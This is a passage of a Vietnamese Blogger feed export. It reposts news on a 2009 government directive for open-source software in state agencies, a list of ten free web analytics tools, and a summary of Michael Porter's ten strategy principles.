30/6/2009, đảm bảo 100% máy trạm của đơn vị chuyên trách về CNTT trong các cơ quan nhà nước sẽ phải cài đặt các &lt;a href="http://vatgia.com/476/phan-mem.html" target="_blank"&gt;&lt;b&gt;phần mềm&lt;/b&gt;&lt;/a&gt; nguồn mở; 100% cán bộ được tập huấn, hướng dẫn sử dụng, trong đó tối thiểu 50% cán bộ có thể sử dụng thành thạo trong công việc...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align="justify"&gt; &lt;/p&gt; &lt;table class="image center" align="center" width="400"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;span style="font-size:85%;"&gt;&lt;img alt="Việt Nam sắp sử dụng phần mềm nguồn mở trên diện rộng" src="http://www.tin247.com/vietnamnet/090105135332-445-554.jpg" align="right" height="300" width="400" /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td class="image_desc"&gt;Bộ trưởng Bộ TT&amp;amp;TT Lê Doãn Hợp yêu cầu, đến 30/6/2009, PMNM sẽ được sử dụng hoàn toàn trong các cơ quan Bộ, ngành, địa phương.  (Ảnh: VNN)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Các đơn vị chuyên trách về CNTT trong các cơ quan nhà nước ở đây được xác định là các đơn vị thuộc các Bộ, cơ quan ngang Bộ, cơ quan thuộc Chính phủ và các Sở TT&amp;amp;TT của các tỉnh, thành phố trực thuộc Trung ương. Các phần mềm nguồn mở (PMNM) được đưa vào sử dụng bao gồm: các phần mềm văn phòng OpenOffice, thư điện tử trên máy trạm &lt;a href="http://vatgia.com/hoidap/quicksearch.php?keyword=Mozilla" target="_blank"&gt;&lt;b&gt;Mozilla&lt;/b&gt;&lt;/a&gt; ThunderBird, trình duyệt web Mozilla FireFox và bộ gõ tiếng Việt Unikey.&lt;/span&gt;&lt;/div&gt; &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Ngoài việc sử dụng thành thạo PMNM trong công việc, 50% số cán bộ và nhân viên được xác định ở trên còn phải có khả năng hướng dẫn, trợ giúp các cơ quan, đơn vị khác thuộc Bộ, ngành, tỉnh, thành phố. &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Chỉ thị cũng yêu cầu, chậm nhất đến ngày 31/12/2009, đảm bảo 70% máy trạm trong các cơ quan, đơn vị thuộc Bộ, ngành, tỉnh, thành phố được cài đặt, 70% cán bộ, nhân viên được tập huấn, hướng dẫn sử dụng, trong đó tối thiểu 40% cán bộ, nhân viên sử dụng các PMNM trong công việc. Đồng thời, các cơ quan cũng cần có kế hoạch để từng bước nâng dần số văn bản, tài liệu, thông tin trao đổi trong các cơ quan, đơn vị thuộc Bộ, ngành, tỉnh, thành phố được soạn thảo, xử lý bằng các PMNM nêu trên; đảm bảo đến ngày 31/12/2010 hầu hết cán bộ, nhân viên trong các cơ quan này đều có thể sử dụng PMNM trong công việc.&lt;br /&gt;&lt;br /&gt;&lt;table class="rl box rightside" align="right"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;th&gt;TIN LIÊN QUAN&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;ul&gt;&lt;li&gt;Giải bài toán chi phí &lt;a href="http://vatgia.com/2333/ban-quyen.html" target="_blank"&gt;&lt;b&gt;bản quyền&lt;/b&gt;&lt;/a&gt; bằng phần mềm nguồn mở  &lt;/li&gt;&lt;li&gt;Phần mềm nguồn mở... đã mở?  &lt;/li&gt;&lt;li&gt;Cơ hội chuyển sang phần mềm nguồn mở của Việt Nam?  &lt;/li&gt;&lt;li&gt;Cơ hội cho phần mềm nguồn mở?  &lt;/li&gt;&lt;li&gt;PMNM được ưu tiên trong đầu tư dùng vốn ngân &lt;a href="http://www.vatgia.com/701/sach.html" target="_blank"&gt;&lt;b&gt;sách&lt;/b&gt;&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Bộ trưởng Lê Doãn Hợp nhấn mạnh, sau khi đã đưa PMNM vào sử dụng, các cơ quan cần có những kế hoạch tuyên truyền, khuyến khích phong trào thi đua giữa các đơn vị, cá nhân trong Bộ, ngành, tỉnh, thành phố... về việc ứng dụng CNTT nói chung và sử dụng PMNM nói riêng vào nội dung bình xét thi đua, khen thưởng hàng năm của mình. Định kỳ (ít nhất 6 tháng một lần) có thể tổ chức đánh giá và rút kinh nghiệm. &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Nhiệm vụ của các hiệp hội và doanh nghiệp CNTT đối với việc triển khai, đưa PMNM vào sử dụng diện rộng trong cả nước được xác định là rất quan trọng. Chỉ thị của Bộ trưởng Bộ TT&amp;amp;TT yêu cầu các hiệp hội CNTT cần tổ chức các hoạt động thiết thực, tạo điều kiện cho các thành viên trao đổi thông tin, kinh nghiệm để không ngừng nâng cao năng lực khai thác, cung cấp sản phẩm, dịch vụ PMNM. Ngoài ra, các hiệp hội cũng có thể phối hợp với các đơn vị chuyên trách về CNTT và các Sở TT&amp;amp;TT, hỗ trợ phát triển các cộng đồng PMNM của Việt Nam, thúc đẩy hợp tác quốc tế về PMNM và các hoạt động liên kết giữa cộng đồng PMNM Việt Nam với các tổ chức, cộng đồng PMNM thế giới.&lt;br /&gt;&lt;br /&gt;Chỉ thị 07 cũng có một yêu cầu rõ với các DN cung cấp máy tính là: khi bán máy tính ra thị trường, không được cài đặt sẵn vào máy tính những phần mềm không có bản quyền hợp pháp mà có thể sử dụng ngầm định các PMNM. &lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;strong&gt;&lt;span style="font-size:85%;"&gt;H.C&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:85%;"&gt;url:http://www.tin247.com/viet_nam_sap_su_dung_phan_mem_nguon_mo_tren_dien_rong-4-21365609.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-7092059854556615332?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/7092059854556615332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=7092059854556615332' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/7092059854556615332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/7092059854556615332'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/01/vit-nam-sp-s-dng-phn-mm-ngun-m-trn-din.html' title='Việt Nam sắp sử dụng phần mềm nguồn mở trên diện rộng'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-4795840180746523074</id><published>2009-01-05T22:14:00.000-08:00</published><updated>2009-01-05T22:16:27.989-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web tools'/><title type='text'>10 công cụ phân tích Web miễn phí và hiệu quả</title><content type='html'>&lt;h1&gt;10 công cụ phân tích Web miễn phí và hiệu quả&lt;/h1&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;em&gt;&lt;strong&gt;(VnMedia)&lt;/strong&gt; - Phân tích web là việc xử lý các dữ liệu thu thập được từ nội dung trang web để cung cấp cho các nhà quản trị web những thông tin hữu ích cũng như việc kiểm soát và giám sát trang web nhằm ngăn chặn việc tấn công của những kẻ lạ mặt.&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Dưới đây là 10 công cụ &lt;a href="http://vatgia.com/hoidap/quicksearch.php?keyword=mi%E1%BB%85n+ph%C3%AD" target="_blank"&gt;&lt;b&gt;miễn phí&lt;/b&gt;&lt;/a&gt; và tuyệt vời sẽ giúp tập hợp và phân tích dữ liệu cho website của chính mình.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1. Piwik&lt;br /&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-128-808.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Piwik là một ứng dụng phân tích Web sử dụng mã nguồn mở dựa trên ngôn ngữ PHP và MySQL. Ứng dụng là một dạng “plugins” được gắn thêm vào hệ thống. Piwik cung cấp cho người dùng các báo cáo chi tiết về số lượng người ghé thăm website, các công cụ tìm kiếm và các từ khóa mà họ đã sử dụng cũng như các trang mà người dùng thường ghé thăm,… Người dùng có thể tải Piwik về và cải đặt trên chính &lt;a href="http://vatgia.com/846/server-may-chu.html" target="_blank"&gt;&lt;b&gt;server&lt;/b&gt;&lt;/a&gt; chứa trang web. Việc cài đặt chỉ mất vài phút và sẽ xuất ra một đoạn code dạng JavaScript. Người dùng chỉ cần copy và dán đoạn code đó vào trong website cần phần tích.&lt;br /&gt;&lt;br /&gt;Bản dùng thử có dung lượng 1,9MB và có thể tải về&lt;span style="color: rgb(0, 0, 205);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 205);font-family:Arial;font-size:85%;"  &gt;tại đây&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2. FireStats&lt;br /&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-370-980.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;FireStats là ứng dụng phân tích Web đơn giản và trung thực được viết trên ngôn ngữ PHP/MySQL. FireStats hỗ trợ các trang web viết trên nhiều ngôn ngữ khác nhau như C#, trang Django, Drupal, Joomla, WordPress,… Người dùng có thể lựa chọn một số tính năng cụ thể trên  FireStats để phân tích Website và có thể tải về dùng thử &lt;/span&gt;&lt;span style="color: rgb(0, 0, 205);font-family:Arial;font-size:85%;"  &gt;tại đây&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3. Snoop&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-180-744.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Snoop là ứng dụng chạy trên desktop máy tính và tương thích với hệ điều hành Mac OS X và Windows XP/Vista. Sau khi cài đặt, Snoop sẽ nằm trên khay hệ thống hoặc thanh trạng thái nhưng người dùng phải cài đặt driver âm thanh cho máy trước. Tính năng nổi bật khác của Snoop mang tên Name Tags cho phép người dùng dễ dàng nhận diện những vị khách viếng thăm website hơn.&lt;br /&gt;&lt;br /&gt;Người dùng có thể tải phiên bản dùng cho máy &lt;/span&gt;&lt;span style="color: rgb(0, 0, 205);font-family:Arial;font-size:85%;"  &gt;Mac&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt; hoặc máy &lt;/span&gt;&lt;span style="color: rgb(0, 0, 205);font-family:Arial;font-size:85%;"  &gt;PC&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;4. Yahoo! Web Analytics&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-441-807.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Công cụ phân tích Web dành cho doanh nghiệp. Với các công cụ quản lý mạnh và linh hoạt, Yahoo! Web Analytics giúp các nhà quảng cáo trực tiếp và thiết kế Website nắm bắt được kinh nghiệm, thói quen người dùng nhằm tăng lượng giao dịch trong khi lại giảm giá thành. Ngoài ra, điểm đặc biệt của Yahoo! Web analytics là khả năng giám sát hoạt động trên Website với thời gian thực.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5. BBClone&lt;br /&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-925-526.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Nếu bạn đang tìm kiếm một ứng dụng web dành cho &lt;a href="http://vatgia.com/846/server-may-chu.html" target="_blank"&gt;&lt;b&gt;máy chủ&lt;/b&gt;&lt;/a&gt; để giám sát dữ liệu của bạn một cách hoàn toàn đơn giản thì có thể tin tưởng vào BBClone. BBClone ứng dụng viết bằng ngôn ngữ PHP sẽ cung cấp các thông tin tổng quá về lưu lượng website và dữ liệu của các vị khách viếng thăm. Ứng dụng hỗ trợ 32 ngôn ngữ như Anh, Trung, Đức, Nhật,… BBClone dễ dàng tích hợp với các nền tảng phổ biến hiện nay như Drupal, WordPress và văn bản dạng Text. Việc phân tích sẽ dựa vào logfile ghi lại và không yêu cầu phải tác động vào &lt;a href="http://vatgia.com/hoidap/quicksearch.php?keyword=c%C6%A1+s%E1%BB%9F+d%E1%BB%AF+li%E1%BB%87u" target="_blank"&gt;&lt;b&gt;cơ sở dữ liệu&lt;/b&gt;&lt;/a&gt; bên phía máy chủ.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;6. Woopra&lt;br /&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-906-265.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Woopra là một ứng dụng phân tích Web viết bằng ngôn ngữ Java, gồm hai phần: phần ứng dụng trên desktop để phân tích dữ liệu và phần dịch vụ web để giám sát các con số thống kê về website. Woopra là một hệ thống quản lý bằng trực giác, giao diện người sử dụng linh hoạt, dễ dùng cho phép người dùng hoạt động từ nhiều nơi và các vùng miền khác nhau. Ngay như đặc tính đồ họa cũng cung cấp vô số các thông tin cho biết vị khách viếng thăm website đến từ nơi nào trên thế giới. Woopra đang có phiên bản dùng thử và người sử dụng cần phải đăng ký thì mới có thể dùng thử phiên bản này.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;7. JAWStats&lt;br /&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-282-634.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;JAWStats là ứng dụng phân tích Web trên máy chủ và cải thiện các tính năng của AWStats. JAWStats đã nâng cao tốc độ thực hiện bằng cách giảm việc sử dụng nguồn bên máy chủ và cải thiện giao diện người dùng (rõ ràng và dễ sử dụng hơn). JAWStats sẽ phân tích dữ liệu và đưa ra các thông tin dạng đồ họa, đồ thị và bảng về các vị khách viếng thăm website.&lt;br /&gt;&lt;br /&gt;Người dùng có thể dùng thử trực tuyến hoặc tải bản &lt;/span&gt;&lt;span style="color: rgb(0, 0, 205);font-family:Arial;font-size:85%;"  &gt;JAWStats V0,6B&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;&lt;strong&gt;8. 4Q&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-921-423.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Công cụ phân tích web với khối lượng dữ liệu rất lớn và chủ yếu dựa trên sự tương tác thực tế của người sử dụng với trang web.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;9. MochiBot&lt;br /&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-643-715.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Công cụ phân tích và lưu vết web miễn phí được thiết kế bằng Flash. Với MochiBot, người sử dụng sẽ biết ai đang chia sẻ nội dung Flash của bạn và nội dung đó được xem bao nhiêu lần cũng như giúp lưu vết để bảo vệ các nội dung cá nhân khỏi bị đánh cắp. Việc sử dụng rất đơn giản, người dùng chỉ việc cài đặt và copy đoạn code dạng ActionScript vào file Flash cần được giám sát.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;10. Grape Web Statistics&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;img alt="Ảnh minh họa" src="http://www.tin247.com/vnmedia/090105142255-691-53.jpg" align="center" border="0" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;br /&gt;Grape Web Statistics là ứng dụng phân tích Web nguồn mở đơn giản dành cho các nhà phát triển web với giao diện rõ ràng và dễ sử dụng.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="textbody" align="right"&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;em&gt;Tuệ Minh - (Theo Sixrevisions)&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: left;" class="textbody"&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;em&gt;url:http://www.tin247.com/10_cong_cu_phan_tich_web_mien_phi_va_hieu_qua-4-21365618.html&lt;br /&gt;&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-4795840180746523074?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/4795840180746523074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=4795840180746523074' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4795840180746523074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4795840180746523074'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/01/10-cng-c-phn-tch-web-min-ph-v-hiu-qu.html' title='10 công cụ phân tích Web miễn phí và hiệu quả'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-4561630984712257686</id><published>2008-12-04T22:36:00.000-08:00</published><updated>2008-12-04T22:37:18.642-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Quản Trị Doanh Nghiệp'/><title type='text'>10 viên gạch xây nên chiến lược cạnh tranh của Michael Porter</title><content type='html'>&lt;span style="color:#ff6600;"&gt;&lt;strong&gt;rong cuộc cạnh tranh khốc liệt hiện nay, các nhà quản lý phụ trách việc lập chiến lược của doanh nghiệp thường không có đủ hình dung thế nào là chiến lược và sự thành công của chiến lược thể hiện ở điểm nào. Theo Michael Porter – chuyên gia hàng đầu về chiến lược – có 10 yếu tố cơ bản để tạo nên một chiến lược thành công.&lt;/strong&gt;&lt;/span&gt; &lt;p align="center"&gt;&lt;a href="http://www.nhimlongxanh.com/?attachment_id=2125" rel="attachment wp-att-2125" title="michael-porter.gif"&gt;&lt;img src="http://www.nhimlongxanh.com/wp-content/uploads/2008/10/michael-porter.gif" alt="michael-porter.gif" width="293" height="351" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;1. Đừng cố vươn tới mục tiêu trở thành đơn vị số một trên thị trường mà hãy là đơn vị độc nhất vô nhị.&lt;/p&gt; &lt;p&gt;Sai lầm cơ bản và tệ hại nhất của cách chiến lược gia là cạnh tranh với đối thủ trong cùng một “hốc tường”. Việc bắt chước hoạt động của đối thủ cạnh tranh chính là sai lầm từ khía cạnh chiến lược.&lt;/p&gt; &lt;p&gt;&lt;span id="more-2124"&gt;&lt;/span&gt;Mục tiêu của bạn – đừng cố trở thành công ty số một hoặc số hai trong lĩnh vực của mình mà hãy trở thành đơn vị độc nhất vô nhị với những sản phẩm/dịch vụ độc đáo cùng các bước tiếp thị xuất sắc.&lt;/p&gt; &lt;p&gt;2. Mục tiêu chính của bạn – tỷ suất lợi nhuận từ đầu tư (ROIC) cao&lt;/p&gt; &lt;p&gt;Đây là mục tiêu cơ bản nhất, còn sự tăng trưởng của công ty mới là mục tiêu thứ hai và chỉ nên thực hiện mục tiêu thứ hai sau khi đã hoàn thành mục tiêu cơ bản.&lt;/p&gt; &lt;p&gt;Sự tập trung vào các mục tiêu này (tăng thị phần, tăng doanh số…) sẽ tạo ra những rủi ro nội bộ nghiêm trọng đối với chiến lược của công ty.&lt;/p&gt; &lt;p&gt;4. Lĩnh vực họat động là nền tảng cho việc phân tích chiến lược&lt;/p&gt; &lt;p&gt;Hiệu quả kinh tế của công ty có được là từ hai yếu tố: cấu trúc ngành (đưa ra những quy tắc cạnh tranh chung) và cấu trúc vị trí của công ty trên thị trường (nguồn gốc lợi thế cạnh tranh). Chiến lược bao gồm hai yếu tố. Việc so sánh chỉ số ROIC của các công ty từ nhiều lĩnh vực khác đơn giản sẽ chẳng có ý nghĩa gì.&lt;/p&gt; &lt;p&gt;Ví dụ, ROIC của công ty dược phẩm Pharmacia&amp;amp;Upjohn trong giai đoạn từ 1985-2002 trung bình là 19.55%, trong khi chỉ số này cùng kỳ của Southewest Airline chỉ 12.75%. Tuy nhiên, nếu nhìn vào chỉ số chung của ngành thì ROIC trong ngành công nghiệp dược phẩm là 28.14%, trong khi chì số này trong ngành công nghiệp hàng không lại thấp – 5.05%. Như vậy, việc tranh luận về sự thành công của doanh nghiệp trên thị trường nên được tiến hành theo vị trí và chỉ số của nó trong ngành.&lt;/p&gt; &lt;p&gt;3. Đừng ngại thỏa hiệp&lt;/p&gt; &lt;p&gt;Phần cơ bản của chiến lược – chọn lựa đúng khi hai vị trí chiến lược không tương hợp, nghĩa là phải xác định xem công ty nên thực hiện việc gì và không nên thực hiện việc gì.&lt;/p&gt; &lt;p&gt;Công ty Neutrogena Soap đã đạt được thành công trong năm 1990 khi lựa chọn lọai xà phòng mềm cho làn da nhạy cảm và dứt bỏ các loại sản phẩm tẩy rửa. Nhãn hiệu đã chiếm được vị trí hàng đầu dưới sự giới thiệu của các chuyên gia da liễu đồng thời chiếm được lòng tin của người tiêu dùng, bất chấp phân khúc thị trường cho sản phẩm này là tương đối hẹp. Tuy nhiên, sau đó, khi xây dựng lại chiến lược và tái định hướng vào sự tăng trưởng của côngt y cũng như việc xây dựng chiến lược quảng cáo đại chúng trên truyền hình với sự tham gia của các ngôi sao, công ty đã đánh mất lòng tin của người tiêu dùng và kết quả là thị phần của công ty đã không còn.&lt;/p&gt; &lt;p&gt;5. Chiến lược cần phải thành công trong từng mắt xích của chuỗi tạo dựng giá trị&lt;/p&gt; &lt;p&gt;Lợi thế cạnh tranh của doanh nghiệp không thể được tập trung vào một hoặc một số mắt xích của chuỗi tạo dựng giá trị.&lt;/p&gt; &lt;p&gt;Công ty Zara - từng chiếm được thị trường trong một thời gian ngắn – chính là một ví dụ điển hình của chiến lược thành công tại từng mắt xích của chuỗi tạo dựng giá trị. Zara tin vào việc thay đổi thường xuyên bộ sưu tập của mình – 15 lần/năm (trong khi các nhà sản xuất quần áo khác chỉ thay đổi bộ sưu tập của mình một lần trong một mùa). Hãng cũng tin rằng, sự khác biệt của họ chính là niềm tin vào xu hướng mốt với giá cả phải chăng, nguồn gốc hàng hóa phải là châu Âu thay vì Hồng Kông hoặc Trugn Quốc, vị trí cửa hàng phải là những nơi có nhiều người qua lại…Và Zara đã thành công. Đối thủ không thể bắt chước một trong nhiều mắt xích chiến lược của Zara.&lt;/p&gt; &lt;p&gt;6. Chiến lược phải bất biến và cố định&lt;/p&gt; &lt;p&gt;Sự bất biến trong chiến lược chính là điều đảm bảo cho sự ổn định của công ty. Không nên chiều theo nhu cầu của người tiêu dùng mà làm sai lệch chiến lược của công ty.&lt;/p&gt; &lt;p&gt;Việc thường xuyên tăng cường sự quan tâm tới đòi hỏi và cả sự than phiền của người tiêu dùng chính là mối đe dọa nghiêm trọng đối với sự thực thi trình tự chiếc lược mà doanh nghiệp đã lựa chọn.Đôi khi, bạn cũng nên khuyên khách hàng mua sản phẩm/dịch vụ của đối thủ cạnh tranh vì việc khiến cho một lớp khách hàng này không hài lòng với sản phẩm của bạn nhằm tạo ra sự thỏa mãn cho một lớp khách hàng khác ở mức độ cao hơn đôi khi được coi là một chiến lược tốt.&lt;/p&gt; &lt;p&gt;7. Phân khúc thị trường là phần quan trọng trong việc tạo dựng chiến lược&lt;/p&gt; &lt;p&gt;Bạn có thể lựa chọn bất cứ phân khúc người tiêu dùng nào, sản phẩm nào hay tạo động cơ mua sản phẩm hay dịch vụ, thậm chí nếu như phân khúc này có vẻ không đúng ngay từ cái nhìn ban đầu.&lt;/p&gt; &lt;p&gt;Điều cơ bản để khung phân khúc lựa chọn được rõ ràng và không xảy ra sự “xói mòn”, tất cả các mắt xích của chuỗi tạo dựng giá trị cần phải tương hợp với phân khúc này.&lt;/p&gt; &lt;p&gt;8. CEO không phải là người sử dụng chiến lược mà là động cơ của chiến lược&lt;/p&gt; &lt;p&gt;Vai trò người đứng đầu doanh nghiệp trong việc tạo dựng và thực thi chiến lược dẫn đến các chức năng sau:&lt;/p&gt; &lt;p&gt;* đặt ra các câu hỏi mà câu trả lời cần được thể hiện trong kế họach chiến lược.&lt;br /&gt;* lựa chọn thành viên tham gia vào việc tạo dựng chiến lược.&lt;br /&gt;* tham gia vào các giai đọan đầu tiên của việc phát triển chiến lược trong từng bộ phận kinh doanh của công ty.&lt;br /&gt;* để HDQT của công ty biết các kế họach chiến lược cơ bản của công ty.&lt;br /&gt;* thu hút các chuyên gia tư vấn bên ngoài công ty.&lt;/p&gt; &lt;p&gt;Cũng đừng quên rằng, chiến lược cần phải đụng chạm đến tất cả các thành viên tổ chức chứ không phải chỉ ban quản lý công ty. Nếu như nhân viên của công ty (bất cứ cấp nào) không tiếp nhận chiến lược đã lựa chọn thì điều này có nghĩa rằng, anh ta/cô ta KHÔNG THỂ tiếp tục làm việc trong tổ chức của bạn.&lt;/p&gt; &lt;p&gt;9. Chiến lược không phải là:&lt;/p&gt; &lt;p&gt;§         mục tiêu&lt;/p&gt; &lt;p&gt;§         tầm nhìn&lt;/p&gt; &lt;p&gt;§         tái cơ cấu&lt;/p&gt; &lt;p&gt;§         mua bán và sáp nhập&lt;/p&gt; &lt;p&gt;§         liên minh và hợp tác&lt;/p&gt; &lt;p&gt;§         công nghệ&lt;/p&gt; &lt;p&gt;§         đổi mới /cách tân&lt;/p&gt; &lt;p&gt;§         gia công bên ngoài (outsourcing)&lt;/p&gt; &lt;p&gt;§         đào tạo&lt;/p&gt; &lt;p&gt;10. Chiến lược là:&lt;/p&gt; &lt;p&gt;* đề xuất mang tính độc nhất vô nhị&lt;br /&gt;* chuỗi tạo dựng giá trị khác biệt với đối thủ cạnh tranh&lt;br /&gt;* thỏa hiệp rõ ràng và xác định việc gì cần làm, việc gì không&lt;br /&gt;* tính bất biến trong định vị.&lt;/p&gt; &lt;p 